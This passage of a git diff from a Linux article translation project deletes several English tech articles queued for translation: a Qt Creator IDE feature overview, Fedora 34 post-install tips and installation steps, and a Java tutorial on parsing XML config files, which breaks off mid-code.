adding) -[29]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_1.png (Creating a new partition and setting size) -[30]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_2.png (Selecting "other" for partition volume type) -[31]: https://opensource.com/sites/default/files/uploads/virtualbox_no_partition_3.png (Setting "No filesystem" on new partition) -[32]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_after.png (VirtualBox after adding new partition) -[33]: https://opensource.com/sites/default/files/uploads/virtualbox_vgscan.png (Checking LVM volume group by typing vgscan:) -[34]: https://opensource.com/sites/default/files/uploads/virtualbox_vgextend_2.png (vgextend command output) -[35]: https://opensource.com/sites/default/files/uploads/virtualbox_vgdisplay.png (vgdisplay command output) -[36]: https://opensource.com/sites/default/files/uploads/virtualbox_lvextend.png (lvextend command output) -[37]: https://opensource.com/sites/default/files/uploads/virtualbox_resizefs.png (resize2fs command output) diff --git a/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md b/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md deleted file mode 100644 index 44a5b4ad73..0000000000 --- a/sources/tech/20210630 9 reasons I love to use the Qt Creator IDE.md +++ /dev/null @@ -1,209 +0,0 @@ -[#]: subject: (9 reasons I love to use the Qt Creator IDE) -[#]: via: (https://opensource.com/article/21/6/qtcreator) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -9 reasons I love to use the Qt Creator IDE -====== -Qt Creator is the glue between Qt's rich set of libraries and the -programmer. -![Business woman on laptop sitting in front of window][1] - -Qt Creator is the Qt framework's default integrated development environment (IDE) and hence the glue between Qt's rich set of libraries and the user. In addition to its basic features such as intelligent code completion, debugging, and project administration, Qt Creator offers a lot of nice features that make software development easier. - -In this article, I will highlight some of my favorite [Qt Creator][2] features. - -### Dark mode - -My first question when working with a new application is: _Is there a dark mode?_ Qt Creator answers with: _Which dark mode do you prefer?_ - -You can activate dark mode in the Options menu. On the top menu bar, go to **Tools**, select **Options**, and go to the **Environment** section. Here is where you can select the general appearance: - -![ QT Creator dark mode][3] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Custom appearance - -Like every Qt application, Qt Creator's appearance is highly customizable with style sheets. Below, you can follow along with my approach to give Qt Creator a fancy look. - -Create the file `mycustomstylesheet.css` with the following content: - - -``` -QMenuBar { background-color: olive } -QMenuBar::item { background-color: olive } -QMenu { background-color : beige; color : black } -QLabel { color: green } -``` - -Then start Qt Creator from the command line and pass the style sheet as a parameter with: - - -``` -`qtcreator -stylesheet=mycustomstylesheet.css` -``` - -It should look like this: - -![QT Creator custom stylesheet][5] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Read more about style sheets in the [documentation][6]. - -### Command-line parameters - -Qt Creator accepts many command-line options. For example, if you want to automatically load your current project at startup, pass the path to the `*.pro-file`: - - -``` -`qtcreator ~/MyProject/MyQtProject.pro` -``` - -You can even pass the file and the line number that should be opened by default. This command opens the file `main.cpp` at line 20: - - -``` -`qtcreator ~/MyProject/main.cpp:20` -``` - -Read more about the Qt Creator-specific command-line options in the [documentation][7]. - -Qt Creator is an ordinary Qt application, so, in addition to its own command-line arguments, it also accepts the generic arguments for [QApplication][8] and [QGuiApplication][9]. - -### Cross-compiling - -Qt Creator allows you to define several toolchains, called **Kits**. A kit defines the binaries and SDK for building and running an application: - -![QT Creator kits][10] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -This allows you to switch between completely different toolchains with just two clicks: - -![Switching between Kits in Qt Creator][11] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Read more about kits in the [manual][12]. - -### Analyzer - -Qt Creator integrates several of the most popular analyzers, such as: - - * [Linux Performance Analyzer][13] (requires a special kernel)  - * [Valgrind][14] memory profiler - * [Clang-Tidy and Clazy][15], a linter for C/C++ - - - -![Qt Creator analyzer][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Debugger - -When it comes to debugging, Qt Creator has a nice interface for GNU Debugger (GDB). I like its easy way of inspecting container types and creating conditional breakpoints: - -![Qt Creator debugger][17] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### FakeVim - -If you like Vim, enable FakeVim in the settings to control Qt Creator like Vim. Go to **Tools** and select **Options**. In the **FakeVim** section, you can find many switches to customize FakeVim's behavior. In addition to the editor functions, you can also map your own functions to custom Vim commands. - -For example, you can map the function **Build Project** to the `build` command: - -![FakeVim in Qt Creator][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -Back in the editor, when you press the colon button and enter `build`, Qt Creator starts a build process with the configured toolchain: - -![FakeVim in Qt Creator][19] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -You can find more information about FakeVim [in the docs][20]. - -### Class inspector - -When developing in C++, open the right window by clicking on the button in the bottom-right corner of Qt Creator. Then choose **Outline** from the dropdown menu on the top border. If you have a header file open on the left pane, you get a nice overview of the defined classes or types. If you switch to a source file (`*.cpp`), the right pane will list all defined methods, and you can jump to one by double-clicking on it: - -![List of classes in Qt Creator][21] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -### Project configuration - -Qt Creator projects are built around the `*.pro-file` in the project's directory. You can add your own custom configuration to the project's `*.pro-file` of your project. I added `my_special_config` to the `*.pro-file`, which adds `MY_SPECIAL_CONFIG` to the compiler defined: - - -``` -QT -= gui - -CONFIG += c++11 console -CONFIG -= app_bundle - -CONFIG += my_special_config - -my_special_config { -DEFINES += MY_SPECIAL_CONFIG -} -``` - -Qt Creator automatically highlights the code according to the active configuration: - -![Special configuration in Qt Creator][22] - -(Stephan Avenwedde, [CC BY-SA 4.0][4]) - -The `*.pro-file` is written in the [qmake language][23]. - -### Summary - -These features are only the tip of the iceberg of what Qt Creator provides. Beginners shouldn't feel overwhelmed by the many features, as Qt Creator is absolutely beginner-friendly. It may even be the easiest way to start developing in C++. To get a complete overview of its features, refer to the [official Qt Creator documentation][24]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/qtcreator - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png?itok=-8E2ihcF (Woman using laptop concentrating) -[2]: https://www.qt.io/product/development-tools -[3]: https://opensource.com/sites/default/files/uploads/qt_creator_dark_mode.png ( QT Creator dark mode) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/qt_creator_custom_stylesheet2.png (QT Creator custom stylesheet) -[6]: https://doc.qt.io/qt-5/stylesheet-reference.html -[7]: https://doc.qt.io/qtcreator/creator-cli.html -[8]: https://doc.qt.io/qt-5/qapplication.html#QApplication -[9]: https://doc.qt.io/qt-5/qguiapplication.html#supported-command-line-options -[10]: https://opensource.com/sites/default/files/uploads/qt_creator_cross_compiling.png (QT Creator kits) -[11]: https://opensource.com/sites/default/files/uploads/qt_creator_select_kits.png (Switching between Kits in Qt Creator) -[12]: https://doc.qt.io/qtcreator/creator-targets.html -[13]: https://doc.qt.io/qtcreator/creator-cpu-usage-analyzer.html -[14]: https://doc.qt.io/qtcreator/creator-valgrind-overview.html -[15]: https://doc.qt.io/qtcreator/creator-clang-tools.html -[16]: https://opensource.com/sites/default/files/uploads/qt_creator_analyzer.png (Qt Creator analyzer) -[17]: https://opensource.com/sites/default/files/uploads/qt_creator_debugger2.png (Qt Creator debugger) -[18]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_ex_commands.png (FakeVim in Qt Creator) -[19]: https://opensource.com/sites/default/files/uploads/qt_creator_fakevim_build_commands.png (FakeVim in Qt Creator) -[20]: https://doc.qt.io/qtcreator/creator-editor-fakevim.html -[21]: https://opensource.com/sites/default/files/uploads/qtcreator_class_overview.png (List of classes in Qt Creator) -[22]: https://opensource.com/sites/default/files/uploads/qtcreater_special_config.png (Special configuration in Qt Creator) -[23]: https://doc.qt.io/qt-5/qmake-language.html -[24]: https://doc.qt.io/qtcreator/ diff --git a/sources/tech/20210705 Things to do after installing Fedora 34 Workstation.md b/sources/tech/20210705 Things to do after installing Fedora 34 Workstation.md deleted file mode 100644 index 26240956dc..0000000000 --- a/sources/tech/20210705 Things to do after installing Fedora 34 Workstation.md +++ /dev/null @@ -1,168 +0,0 @@ -[#]: subject: (Things to do after installing Fedora 34 Workstation) -[#]: via: (https://fedoramagazine.org/things-to-do-after-installing-fedora-34-workstation/) -[#]: author: (Arman Arisman https://fedoramagazine.org/author/armanwu/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Things to do after installing Fedora 34 Workstation -====== - -![][1] - -Using a new operating system can be a lot of fun. But it often becomes confusing when we first use it, especially for new users who are not very familiar with computer systems. For those of you who are using Fedora for the first time and have successfully installed Fedora 34 Workstation, this article can be an initial guide. I’m sure that you want to feel more at home with your new fresh Fedora. These are several things to do after installing your Fedora 34 Workstation. - -### System update - -Maybe you think that you have installed the most recent version of Fedora 34 Workstation, so your Fedora should be up to date. But you still have to make sure that your Fedora Linux has all the updated packages. Because in every new release of an operating system, usually there are still many things that continue to be improved. You can use the terminal or GNOME software to run the update. - -If you want to update via the terminal, then you just have to open a terminal and type the following command. - -``` -$ sudo dnf update -``` - -But if you want to do it with GNOME _Software_, open the application by selecting _Activities_ then locating and selecting the _Software_ item in the taskbar at the bottom of the screen. When it opens select the _Update_s tab at the top. After that you just click the _Download_ button. An update may require a restart afterwards and _Update_ will tell you that. - -![GNOME Software location in the taskbar at the bottom of the screen][2] - -_note: another way to select Activities is to press the super key on the keyboard. Super key is the button that has the Windows logo on most keyboards._ - -![Gnome Software showing Updates][3] - -### System settings - -You can view and configure your device’s system through _System Settings_. These include items like network, keyboard, mouse, sound, displays, etc. You can run it by pressing the _super_ key on your keyboard, clicking _Show Applications_ in the task bar at the bottom of the window, then selecting _Settings_. Configure it according to your needs. - -![Settings menu showing Network selected][4] - -### Additional repositories - -Maybe some packages you need are not available to be installed from the official Fedora Repository. You can add software repositories with the _dnf config-manager_ command. Please be careful if you want to add other repositories besides the official Fedora repository. - -The first thing you should do is define a new repository by adding a new file ending in _.repo_ to the _/etc/yum.repos.d/_ directory. Run the following command in the terminal. - -``` -$ sudo dnf config-manager --add-repo /etc/yum.repos.d/file_name.repo -``` - -_note: replace file_name with the repository file name._ - -Or you can use GNOME _Software_. Open it as described in the System Update section above. Now select the “hamburger” icon (three horizontal lines) on the top right and select _Software Repositories_. You can add the repository from there using the _Install_ option. - -![GNOME Software showing location of Software Repositories menu][5] - -Most people will enable RPM Fusion. It’s a third party repository. You can read about third party repositories in [Fedora Docs][6]. - -### Fastest mirror and Delta RPM - -There are several things you can do to speed up your download times when using DNF to update your system. You can enable Fastest Mirror and Delta RPM. Edit _/etc/dnf/dnf.conf_ using a text editor, such as gedit or nano. Here’s the example to open _dnf.conf_ file with _nano_ in _terminal_. - -``` -$ sudo nano /etc/dnf/dnf.conf -``` - -Append the following line onto your _dnf.conf_ file. - -``` -fastestmirror=true -deltarpm=true -``` - -Press _ctrl+o_ to save the file then _ctrl+x_ to quit from _nano_. - -### Multimedia plugins for audio and video - -You may need some plugins for your multimedia needs. You can install multimedia plugins by running this command in a terminal. - -``` -$ sudo dnf group upgrade --with-optional Multimedia -``` - -Please pay attention to the regulations and standards in your country regarding multimedia codecs. You can read about this in [Fedora Docs][7]. - -### Tweaks and Extentions - -Fedora 34 Workstation comes with GNOME as the default Desktop Environment. We can do various configurations of GNOME by using Tweaks and Extensions, like changing themes, changing buttons in the window dialog, and many more. - -Open your terminal and run this command to install GNOME Tweaks. - -``` -$ sudo dnf install gnome-tweaks -``` - -And run this command to install GNOME Extensions. - -``` -$ sudo dnf install gnome-extensions-app -``` - -Do the same way as above when you search for _GNOME Software_. Select _Activities_ or press the _super_ key then select _Show Applications_ to see a list of installed applications. You can find both applications in the list. You can do the same thing every time you want to search for installed applications. Then do the configuration with your preferences with _Tweaks_ and _Extensions_. - -![GNOME Tweaks][8] - -![GNOME Extensions][9] - -### Install applications - -When you first install Fedora, you will find several installed apps. You can add other applications according to your needs with GNOME Software. Do the same way to open GNOME Software as described earlier. Then find the application you want, select the application, and then press the Install button. - -![GNOME Software][10] - -Or you can do it with terminal. Here are the commands to find and install the application. - -Command to search for available applications: - -``` -$ sudo dnf search application_name -``` - -The command to install the application: - -``` -$ sudo dnf install application_name -``` - -Commands to remove installed applications: - -``` -$ sudo dnf remove application_name -``` - -_note: replace application_name with the name of the application._ - -You can search for installed applications by viewing them in _Show Applications_. Select _Activities_ or press the _super_ key and select _Show Applications_. Then you can select the application you want to run from the list. - -![Installed application list][11] - -### Conclusion - -Fedora Workstation is an easy-to-use and customizable operating system. There are many things you can do after installing Fedora 34 Workstation according to your needs. This article is just a basic guide for your first steps before you have more fun with your Fedora Linux system. You can read [Fedora Docs][12] for more detailed information. I hope you enjoy using Fedora Linux. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/things-to-do-after-installing-fedora-34-workstation/ - -作者:[Arman Arisman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/armanwu/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2021/07/FedoraMagz-Cover_ThingsToDo.png -[2]: https://fedoramagazine.org/wp-content/uploads/2021/07/GNOME_Software_location-1024x576.png -[3]: https://fedoramagazine.org/wp-content/uploads/2021/07/Software_Updates-1024x735.png -[4]: https://fedoramagazine.org/wp-content/uploads/2021/07/Settings-1024x764.png -[5]: https://fedoramagazine.org/wp-content/uploads/2021/07/Software_Hamburger_-1-1024x685.png -[6]: https://docs.fedoraproject.org/en-US/quick-docs/setup_rpmfusion/ -[7]: https://docs.fedoraproject.org/en-US/quick-docs/assembly_installing-plugins-for-playing-movies-and-music/ -[8]: https://fedoramagazine.org/wp-content/uploads/2021/07/Tweaks-1024x733.png -[9]: https://fedoramagazine.org/wp-content/uploads/2021/07/GNOME_Extensions.png -[10]: https://fedoramagazine.org/wp-content/uploads/2021/07/GNOME_Software-1-1024x687.png -[11]: https://fedoramagazine.org/wp-content/uploads/2021/07/Show_Application-1024x576.png -[12]: https://docs.fedoraproject.org/en-US/fedora/f34/ diff --git a/sources/tech/20210706 How to Install Fedora 34 Workstation -Step by Step.md b/sources/tech/20210706 How to Install Fedora 34 Workstation -Step by Step.md deleted file mode 100644 index 5ea4a8a2d4..0000000000 --- a/sources/tech/20210706 How to Install Fedora 34 Workstation -Step by Step.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: subject: (How to Install Fedora 34 Workstation [Step by Step]) -[#]: via: (https://www.debugpoint.com/2021/07/install-fedora-34-workstation/) -[#]: author: (Arindam https://www.debugpoint.com/author/admin1/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Install Fedora 34 Workstation [Step by Step] -====== -In this absolute beginner’s guide, we explain the steps required to -install Fedora 34 workstation edition (GNOME desktop environment). -This page covers the following topics - - * [Fedora 34 Minimum system requirements][1] - * [Pre-Steps before installation][2] - * [Download and create LIVE USB][3] - * [Install Fedora 34][4] - - - -[Fedora][5] is a Linux based distribution which offers desktop and server flavors. It is a free and open-source Linux distribution sponsored by Red Hat and developed and contributed by the community. It works as an upstream distribution for Red Hat Enterprise Linux. Hence, with Fedora you get the latest Linux Kernel, packages with cutting edge features and applications. - -Fedora desktop edition offers almost all popular desktop environments. A quick list of desktop environment is below which has official Fedora flavor. - - * KDE Plasma - * GNOME - * Xfce - * LXDE - * LXQt - * i3 WM - * MATE - * Cinnamon (via repo) - - - -This is why it is very popular, and many users choose Fedora to Ubuntu because you get a perfect system with many packages pre-installed. Mostly experienced users prefer Fedora, but it is absolutely useful for beginner’s as well. If you are an Ubuntu user and want to jump the ship to Fedora, well, you may want to check out our [Ubuntu to Fedora migration guide][6]. - -The Fedora 34 which we are going to install in this post brings some interesting changes. Fedora 34 brings Linux Kernel 5.11, Zstd compression when btrfs is used, default sound daemon Pipewire, GNOME 40 desktop, KDE Plasma 5.21 and many Wayland related updates. For a detailed coverage, visit our [Fedora 34 topics][7] to learn more. - -### Fedora 34 workstation – System requirement - -This is the minimum system requirement for installing Fedora in general. - - * 2 GHz dual-core processor - * 4 GiB RAM (system memory) - * 20 GB of hard-drive space - * VGA capable of 1024×768 screen resolution - * Either a CD/DVD drive or a USB port for the installer media - * Internet access is not mandatory for installation - - - -### Pre-Step Before Installation - -Before you start the installation, make sure of the followings. - - * If you are installing in a physical system, make sure to decide which partition you want to install. - * If you are planning to dual boot with Windows or any other Linux Systems, then make sure you decide which partition to install. - * Take a backup of your personal data. - * Keep a LIVE USB with [Boot Repair][8] handy, in case something goes wrong. - - - -[][9] - -SEE ALSO:   How to Upgrade to Fedora 34 from Fedora 33 Workstation (GUI and CLI Method) - -### Download and prepare LIVE USB - -Download the Workstation edition from the below link. It contains the torrent of the .ISO file and also includes all other [Fedora 34 Spins][10] as well. - -[fedora torrents][11] - -After the download is complete, create a LIVE USB using any utility such as [Etcher][12]. Plug in the USB in your system, change BIOS settings to boot from it. - -### Install Fedora 34 – Steps - -1\. The LIVE Fedora installation system boot up to a LIVE desktop, that gives you options to install to a Physical medium. - -![Install to Hard Driver Option in LIVE Media][13] - -2\. In the next screen, select language and continue. Then click on the Installation destination to select which partition you would like to install. - -![Select Language][14] - -![Installation Destination Select][15] - -3\. In the installation destination screen, select the disk and choose Storage Configuration: Custom. And click Done at the top. - -![Select Disk][16] - -4\. In the partitioning screen, choose your partition sizes for root, and boot partitions. For example, keep /boot at around 1GB and rest you can assign to /root partition. - -5\. For Fedora 34, it is better to use btrfs for root partition for better performance. Do not forget to set the mount point as / in root partition. - -![root partition][17] - -![boot partition][18] - -6\. When you are satisfied with your new file system, click on Done. In the next screen, make sure to verify carefully the summary of changes that is going to happen to your disk. Because this will make changes to your system and can not be reverted. Click Accept changes once you are ready. - -![Summary of Changes][19] - -7\. Wait for the installation to complete. Once it is finished, click on Finish Installation and reboot the LIVE system. - -![Installation complete][20] - -So, that’s about it. If all goes well, after reboot, you should be greeted with Fedora 34 workstation edition desktop with GNOME 40. - -![Fedora 34 Desktop][21] - -I hope this basic guide to install Fedora 34 helps beginner’s or advanced users for their work. If you run into a problem, such as with dual boot, or any other installation error, let me know in the comment box below. - -* * * - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2021/07/install-fedora-34-workstation/ - -作者:[Arindam][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lujun9972 -[1]: tmp.cwqzC2PPCj#min-requirement -[2]: tmp.cwqzC2PPCj#pre-steps -[3]: tmp.cwqzC2PPCj#download-create-USB -[4]: tmp.cwqzC2PPCj#install-fedora-34 -[5]: https://getfedora.org/ -[6]: https://www.debugpoint.com/2021/04/migrate-to-fedora-from-ubuntu/ -[7]: https://www.debugpoint.com/tag/fedora-34 -[8]: https://sourceforge.net/p/boot-repair/home/Home/ -[9]: https://www.debugpoint.com/2021/04/upgrade-fedora-34-from-fedora-33/ -[10]: https://www.debugpoint.com/2021/04/fedora-34-desktop-spins/ -[11]: https://torrent.fedoraproject.org/ -[12]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/ -[13]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Install-to-Hard-Driver-Option-in-LIVE-Media.jpeg -[14]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Select-Language.jpeg -[15]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Installation-Destination-Select.jpeg -[16]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Select-Disk.jpeg -[17]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/root-partition-1024x532.jpeg -[18]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/boot-partition.jpeg -[19]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Summary-of-Changes.jpeg -[20]: https://www.debugpoint.com/blog/wp-content/uploads/2021/07/Installation-complete-1024x526.jpeg -[21]: https://www.debugpoint.com/blog/wp-content/uploads/2021/04/Fedora-34-Desktop--1024x529.jpg diff --git a/sources/tech/20210707 Parsing config files with Java.md b/sources/tech/20210707 Parsing config files with Java.md deleted file mode 100644 index c7c3474d5a..0000000000 --- a/sources/tech/20210707 Parsing config files with Java.md +++ /dev/null @@ -1,358 +0,0 @@ -[#]: subject: (Parsing config files with Java) -[#]: via: (https://opensource.com/article/21/7/parsing-config-files-java) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: (Starryi) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Parsing config files with Java -====== -Implement persistent settings when you're writing software in Java. -![Person drinking a hot drink at the computer][1] - -When you write an application, you often want users to be able to configure how they interact with it and how it interacts with their system. These are commonly called "preferences" or "settings," and they're stored in "preference files" or "configuration files," or just "configs." There are many different formats for config files, including INI, JSON, YAML, and XML, and every language parses these languages differently. This article discusses some of the ways you can implement persistent settings when you're writing software in the [Java programming language][2]. - -### Choose a format - -Writing configuration files is surprisingly flexible. I've kept configuration options in a simple comma-delimited text file, and I've kept options in highly detailed YAML or XML. The most important thing about configuration files is that they are consistent and predictable. This makes it easy for you to write code that can quickly and easily extract data from the configuration file, as well as save and update options when the user decides to make a change. - -There are [several popular formats for configuration files][3]. Java has libraries for most of the common configuration formats, but in this article, I'll use the XML format. For some projects, you might choose to use XML for its inherent ability to provide lots of metadata about the data it contains, while for others, you may choose to avoid it due to its verbosity. Java makes working with XML relatively easy because it includes robust XML libraries by default. - -### XML basics - -XML is a big topic. Just one of the books I own about XML is over 700 pages. Fortunately, using XML doesn't require in-depth knowledge of all its many features. Like HTML, XML is a hierarchical markup language with opening and closing tags, which may contain zero or more data. Here's a sample snippet of XML: - - -``` -<xml> -  <node> -    <element>Penguin</element> -  </node> -</xml> -``` - -In this rather self-descriptive example, here are the terms that XML parsers use: - - * **Document:** The `` tag opens a _document_, and the `` tag closes it. - * **Node:** The `` tag is a _node_. - * **Element:** The `Penguin`, from the first `<` to the last `>`, is an _element_. - * **Content:** In the `` element, the string `Penguin` is the _content_. - - - -Believe it or not, that's all you need to know about XML to be able to write and parse it. - -### Create a sample config file - -A minimal example of a config file is all you need to learn how to parse XML. Imagine a config file tracking some display properties of a GUI window: - - -``` -<xml> -  <window> -    <theme>Dark</theme> -    <fullscreen>0</fullscreen> -    <icons>Tango</icons> -</window> -</xml> -``` - -Create a directory called `~/.config/DemoXMLParser`: - - -``` -`$ mkdir ~/.config/DemoXMLParser` -``` - -On Linux, the `~/.config` directory is the default configuration file location, as defined by the [Freedesktop][4] specification. If you're on an operating system that doesn't follow Freedesktop standards, you can still use this location, but you may have to create all the directories yourself. - -Copy and paste the sample configuration XML into a file and save it as `~/.config/DemoXMLParser/myconfig.xml`. - -### Parse XML with Java - -If you're new to Java, start by reading my [7 tips for new Java developers][5] article. Once you're relatively comfortable with Java, open your favorite integrated development environment (IDE) and create a new project. I call mine **myConfigParser**. - -Without worrying too much about imports and error catching initially, you can instantiate a parser using the standard Java extensions found in the `javax` and `java.io` libraries. If you're using an IDE, you'll be prompted to import the appropriate libraries; otherwise, you can find a full list of libraries in the complete version of this code later in this article. - - -``` -Path configPath = Paths.get([System][6].getProperty("user.home"), ".config", "DemoXMLParser"); -[File][7] configFile = new [File][7](configPath.toString(), "myconfig.xml"); - -DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); - -DocumentBuilder builder = null; -builder = factory.newDocumentBuilder(); - -[Document][8] doc = null; -doc = builder.parse(configFile); -doc.getDocumentElement().normalize(); -``` - -This example code uses the `java.nio.Paths` library to locate the user's home directory, adding the default configuration location to the path. Then it defines the configuration file to be parsed as a File object using the `java.io.File` library. - -Next, it uses the `javax.xml.parsers.DocumentBuilder` and `javax.xml.parsers.DocumentBuilderFactory` libraries to create an internal document builder so that the Java program can ingest and parse XML data. - -Finally, Java builds a document called `doc` and loads the `configFile` file into it. Using `org.w3c.dom` libraries, it normalizes the ingested XML data. - -That's essentially it. Technically, you're done parsing the data. But parsed data isn't of much use to you if you can't access it, so write some queries to extract important values from your configuration. - -### Accessing XML values with Java - -Getting data from your ingested XML document is a matter of referencing a specific node and then "walking" through the elements it contains. It's common to use a series of loops to iterate through elements in nodes, but I'll keep that to a minimum here, just to keep the code easy to read: - - -``` -NodeList nodes = doc.getElementsByTagName("window"); - -for (int i = 0; i < nodes.getLength(); i++) { - Node mynode = nodes.item(i); - System.out.println("Property = " + mynode.getNodeName()); -        - if (mynode.getNodeType() == Node.ELEMENT_NODE) { -   Element myelement = (Element) mynode; -              -   System.out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); -   System.out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); -   System.out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); - } -} -``` - -This sample code creates a `NodeList` object called `nodes` using the `org.w3c.dom.NodeList;` library. This object contains any child node with a name that matches the string `window`, which is the only node in the sample config file created in this article. - -Next, it creates a for-loop to iterate over the `nodes` list, taking each node in order of appearance and processing it with an if-then loop. The if-then loop creates an `Element` object called `myelement` that contains all elements within the current node. You can query the elements using methods like `getChildNodes`, `getElementById`, and others, as [documented][9] by the project. - -In this example, the elements are essentially the configuration keys. The values are stored as the content of the element, which you can extract with the `.getTextContent` method. - -Run the code either in your IDE or as a binary: - - -``` -$ java ./DemoXMLParser.java -Property = window -Theme = Dark -Fullscreen = 0 -Icon set = Tango -``` - -Here's the full code: - - -``` -package myConfigParser; - -import java.io.File; -import java.io.IOException; -import java.nio.file.Path; -import java.nio.file.Paths; - -import javax.xml.parsers.DocumentBuilder; -import javax.xml.parsers.DocumentBuilderFactory; -import javax.xml.parsers.ParserConfigurationException; - -import org.w3c.dom.Document; -import org.w3c.dom.Element; -import org.w3c.dom.NamedNodeMap; -import org.w3c.dom.Node; -import org.w3c.dom.NodeList; -import org.xml.sax.SAXException; - -public class ConfigParser { - -        public static void main([String][10][] args) { -                Path configPath = Paths.get([System][6].getProperty("user.home"), ".config", "DemoXMLParser"); -                [File][7] configFile = new [File][7](configPath.toString(), "myconfig.xml"); -                DocumentBuilderFactory factory = -                DocumentBuilderFactory.newInstance(); -                DocumentBuilder builder = null; -                -                try { -                        builder = factory.newDocumentBuilder(); -                } catch (ParserConfigurationException e) { -                        e.printStackTrace(); -                } -        -                [Document][8] doc = null; -        -                try { -                        doc = builder.parse(configFile); -                } catch (SAXException e) { -                        e.printStackTrace(); -                } catch ([IOException][11] e) { -                        e.printStackTrace(); -                } -        doc.getDocumentElement().normalize(); -        -        NodeList nodes = doc.getElementsByTagName("window"); -        for (int i = 0; i < nodes.getLength(); i++) { -           Node mynode = nodes.item(i); -           [System][6].out.println("Property = " + mynode.getNodeName()); -            -           if (mynode.getNodeType() == Node.ELEMENT_NODE) { -               [Element][12] myelement = ([Element][12]) mynode; - -               [System][6].out.println("Theme = " + myelement.getElementsByTagName("theme").item(0).getTextContent()); -               [System][6].out.println("Fullscreen = " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent()); -               [System][6].out.println("Icon set = " + myelement.getElementsByTagName("icons").item(0).getTextContent()); -           } // close if -        } // close for -    } // close method -} //close class -``` - -### Updating XML with Java - -From time to time, a user is going to change a preference. The `org.w3c.dom` libraries can update the contents of an XML element; you only have to select the XML element the same way you did when reading it. Instead of using the `.getTextContent` method, you use the `.setTextContent` method: - - -``` -updatePref = myelement.getElementsByTagName("fullscreen").item(0); -updatePref.setTextContent("1"); - -[System][6].out.println("Updated fullscreen to " + myelement.getElementsByTagName("fullscreen").item(0).getTextContent());   -``` - -This changes the XML document in your application's memory, but it doesn't write the data back to the drive. Using a combination of `javax` and `w3c` libraries, you can place your ingested XML back into your configuration file: - - -``` -TransformerFactory transformerFactory = TransformerFactory.newInstance(); - -Transformer xtransform; -xtransform = transformerFactory.newTransformer(); - -DOMSource mydom = new DOMSource(doc); -StreamResult streamResult = new StreamResult(configFile); - -xtransform.transform(mydom, streamResult); -``` - -This silently overwrites the previous configuration file with transformed data. - -Here's the full code, complete with the updater: - - -``` -package myConfigParser; - -import java.io.File; -import java.io.IOException; -import java.nio.file.Path; -import java.nio.file.Paths; - -import javax.xml.parsers.DocumentBuilder; -import javax.xml.parsers.DocumentBuilderFactory; -import javax.xml.parsers.ParserConfigurationException; -import javax.xml.transform.Transformer; -import javax.xml.transform.TransformerException; -import javax.xml.transform.TransformerFactory; -import javax.xml.transform.dom.DOMSource; -import javax.xml.transform.stream.StreamResult; - -import org.w3c.dom.Document; -import org.w3c.dom.Element; -import org.w3c.dom.Node; -import org.w3c.dom.NodeList; -import org.xml.sax.SAXException; - -public class ConfigParser { - -        public static void main([String][10][] args) { -                Path configPath = 